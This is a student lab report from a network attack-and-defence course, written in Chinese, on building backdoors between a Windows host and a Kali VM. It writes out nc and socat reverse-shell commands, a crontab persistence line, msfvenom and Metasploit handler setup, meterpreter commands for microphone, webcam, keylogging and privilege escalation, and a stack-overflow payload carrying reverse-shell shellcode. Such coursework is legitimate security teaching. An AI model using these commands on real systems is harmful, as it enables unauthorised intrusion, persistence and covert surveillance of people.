2020-2021-2 20175221曾祥杰 《网络对抗技术》Exp2 后门原理与实践

2020-2021-2 20175221曾祥杰 《网络对抗技术》Exp2 后门原理与实践


 

基础问题回答

  • (1)例举你能想到的一个后门进入到你系统中的可能方式?

    • 未到正规官网下载软件,就有可能被捆绑下载垃圾软件,其中或许会渗入木马、病毒等,从而对个人PC产生威胁。
  • (2)例举你知道的后门如何启动起来(win及linux)的方式?

    • win:修改注册表内容、设置开机自启动等。
    • Linux:修改crontab文件,将木马设为定时启动,反向连接控制主机,控制主机保持侦听状态,启动后门,从而控制个人PC。 
  • (3)Meterpreter有哪些给你映像深刻的功能?

    • Meterpreter我觉得最厉害的就是能获取被控主机的麦克风录音(监听?)、获取被控主机的摄像头拍照和录像(监视?)、还有收集指令(获取账号密码?)。

  • (4)如何发现自己有系统有没有被安装后门?
    • 最简单的自然就是利用安全软件定期检查,360、金山等。手动检查就可以检查本地IP是否被其他IP相连,查看任务列表有没有可疑自启动项、抓包分析,还可以看看自己的端口是不是莫名的多,等

 

实践过程记录

  • 一、使用netcat获取主机操作Shell,cron启动

  • 准备工作:

  • 下载附件:ncat.rar
  • 关闭Win和Linux的防火墙,确保两者能相互联通,并免除实验后边不必要的烦恼
  • 实践步骤:

  • 1.Win获得Linux的Shell

  • Win下ipconfig,Kali下ifconfig -a,查看各自的ip地址,随后相互ping,观察是否联通。(这是一个大坑!后文会讲述。之前没有做这一步确认,导致nc始终无法成功)
  • 随后解压ncat.rar,进入文件夹,ncat.exe -l -p 5221监听本机的5221端口。
  • Kali中 nc 192.168.43.240 5221 -e /bin/sh反向连接本机5221端口,随后成功获得Kali的Shell
  • 2.Linux获得Win的Shell

  • Kali中nc -l -p 5221监听5221端口
  • Win中ncat.exe -e cmd.exe 192.168.153.131 5221反向连接Kali主机中的5221端口
  • 最终实现在Linux上获得Win的Shell
  • 3.nc传输数据

  • Win下 ncat.exe -l 5221 监听5221端口
  • Kali下 nc 192.168.43.240 5221 连接到Win
  • 随后便可以相互传输数据了
  • 4.cron启动

  • Win下 ncat -l -p 5221 监听5221端口
  • Kali中 crontab -e 后选择第3个(第二次使用这个命令好像就不用选了)
  • 在最后一行添加 39 * * * * /bin/netcat 192.168.43.240 5221 -e /bin/sh ,意思是在每个小时的第39分钟反向连接Windows主机的5221端口,设置成39是为了能立马看到效果(注意这里的IP地址应该为Win主机的IP)
  • 时间到了之后,获得了Kali的shell,可以看到第一行显示了之前我输入,但因为时间没到没有显示的lslsls。随后可以像之前一样进行Shell操作
  • 坑点:

  • 1.忽视了配置网络时所选择的动态分配(DHCP)

  • 由于是在家完成实验,时不时电脑就会连上家里的Wifi,此时Win和Kali的ip都会变!这也会导致在使用nact等命令输入IP时,时不时成功,时不时失败。经过多次的排除变量法,最后才发现是没有解决IP变化的问题
  • 对此我想到两个解决方案:
  • 1.修改网络配置为静态IP,让其不再变化。但是我这样做之后,直接导致的就是Wifi不能上网。所以只能采用第2种
  • 2.一直使用手机热点分配的IP,因为使用Wifi做实验时,会发生虚拟机Ping不通主机的情况!我也试了网上许多关闭防火墙,入站设置等方法都没有用,最后还是决定换网。
  • (这是用家里Wifi的情况)
  • 2.nc和ncat傻傻分不清
  • 一开始在Kali,命令中的nc全都输成了ncat,还一直在想是不是网络还没ping通。后来百度了才知道Kali只有nc命令,在Win上用下载的附件ncat.exe执行

  • 二、使用socat获取主机操作Shell, 任务计划启动

  • socat是ncat的增强版,格式是 socat [options] <address> <address> ,address(必选),options(可选)。
  • socat的基本功能就是建立两个双向的字节流,让数据在其间传输,参数address代表了其中的一个方向。
  • 流代表了数据的流向,数据有不同的类型,命令中便需要许多选项对各种不同的类型数据流进行限定与说明。
  • 首先 Win+x 选择计算机管理。
  • 给任务创建一个名称
  • 任务计划程序→创建任务→触发器→按预定计划
  • “操作”中选择socat的路径,并配置参数 tcp-listen:5221 exec:cmd.exe,pty,stderr ,这个命令的作用是把cmd.exe绑定到端口5221,同时把cmd.exe的stderr重定向到stdout上
  • 到达计划时间时,会弹出一个cmd,不要关闭它。
  • 在Kali中输入 socat - tcp:192.168.43.240:5221 这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5221端口,此时可以发现已经成功获得了一个cmd shell
  • 坑点:

  • 1.遇到目标不积极?
  • 这是因为SSH没有启动,具体需参考Kali如何开启SSH

三. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 在Kali上执行指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.189.128 LPORT=5221 -f exe > 20175221_backdoor.exe (这里的IP地址为Linux IP)此时生成了后门程序“20175221_backdoor.exe” 

  • 在Windows下执行 ncat.exe -lv 5221 > 20175221_backdoor.exe ,这样被控主机就进入了接收文件模式
  • 在Linux中执行 nc 192.168.43.240 5221 < 20175221_backdoor.exe (这里的IP为Windows IP),成功接收文件。
  • 在Kali中 msfconsole 进入msf控制台
  • use exploit/multi/handler #使用监听模块,设置payload
    set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload
    set LHOST 192.168.189.128 #Linux IP
    set LPORT 5221 #同样要使用相同的端口
  • 随后在Win运行刚刚接收的程序,便开始监听
  • 坑点:

  • 1.一开始每次运行制作的程序,都会自动关闭端口
  • 我找了一会,没有找到答案。对于这种问题,最好的办法莫过于,重来。果然,在我重新打开一个终端,按照刚才的步骤走,就成功了。
  • 2.没有足够的权限运行制作的程序?
  • 这个百度可以找到答案。当然答案不是那些水文里说的,从文件属性-安全里改啥权限,那些我都试过并没有什么用。因为根本改不了
  • 所以需要参考windows无法访问指定设备 路径或文件(100%解决),下载他的软件,因为是exe无法运行,所以在那个软件里点击exe,重启电脑就可以了
  • 当然,这也让我很慌。因为它的原理我一点都不知道,还安了莫名其妙的软件,没准我还在做这些监听的基础实验,我下载软件运行后,其他人就开始监控我电脑了。。

  四.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用 record_mic 指令截获一段音频
  • 使用 webcam_snap 使用摄像头进行拍照:
  • 使用 keyscan_start 指令开始记录下击键的过程,使用 keyscan_dump 指令读取击键的记录:
  • 使用 screenshot 进行截屏:
  • 使用 getuid 查看当前用户, getsystem 进行提权
  • 从输出的信息可以看到,自动选择了方法1。此时该用户就拥有了目标系统中Test用户的权限了,然后就可以做其他的操作,如创建文件、创建用户和组等。

五.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 首先要到官网上下载Linux/x86 - Reverse(127.0.0.1:4444/TCP) Shell (/bin/sh) Shellcode (96Bytes)这个文件:
  • 将里边的机器码复制出来
  • x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80
  • Kali打开第一个终端,按照实验1的第三部分,做准备工作。运行pwn1
  • execstack -s pwn1 #设置堆栈可执行
    execstack -q pwn1 #查询文件的堆栈是否可执行(X pwn1则表示可执行)
    echo "0" > /proc/sys/kernel/randomize_va_space #关闭地址随机化
    more /proc/sys/kernel/randomize_va_space #查看随机化是否关闭,如显示0则已关闭,2未关
  • 在第二个终端,寻找进程号,随后gdb调试,反汇编,找到esp地址。
  • 此处我的地址为0xffffd37c,+4=0xffffd380。并将其填充在原有机器码前,得到:
  • perl -e 'print "A" x 32;print"x80xd3xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input
  • 并将其做成Input
  • 打开第三个终端,按照本实验的msf部分进行相应设置。
  • 随后进入监听,再把第二终端的程序运行(注意一定是先监听,再运行)
  •  

  • 实验总结与体会

  • 这次实验我觉得难度和时间花费与实验1没有太大差别。但实实在在是被自家的网络坑了,时不时就连上wifi,Win和Linux的ip就会变化,互相的nc和socat操作就马上失效,一开始还觉得也太背了,第一步就出问题。花了好久排除变量才找到这个原因,后来也学聪明了,连不上先看ip是不是变了。
  • 其次是以前也知道黑客就是可以进入他人PC获取私人信息的,但一直不太懂原理。这一次以小见大,msf生成的payload也让我感受到了获取别人信息的轻松(前提是关闭各种防火墙。。点开不明文件。。)拍照监控,录音窃听,读取键令get密码,截屏窥屏等,都是蛮实用的操作。当然最厉害的应该还是提权,但是我还没有特别大的感受
  • 总体感觉还好
原文地址:https://www.cnblogs.com/zxja/p/12483589.html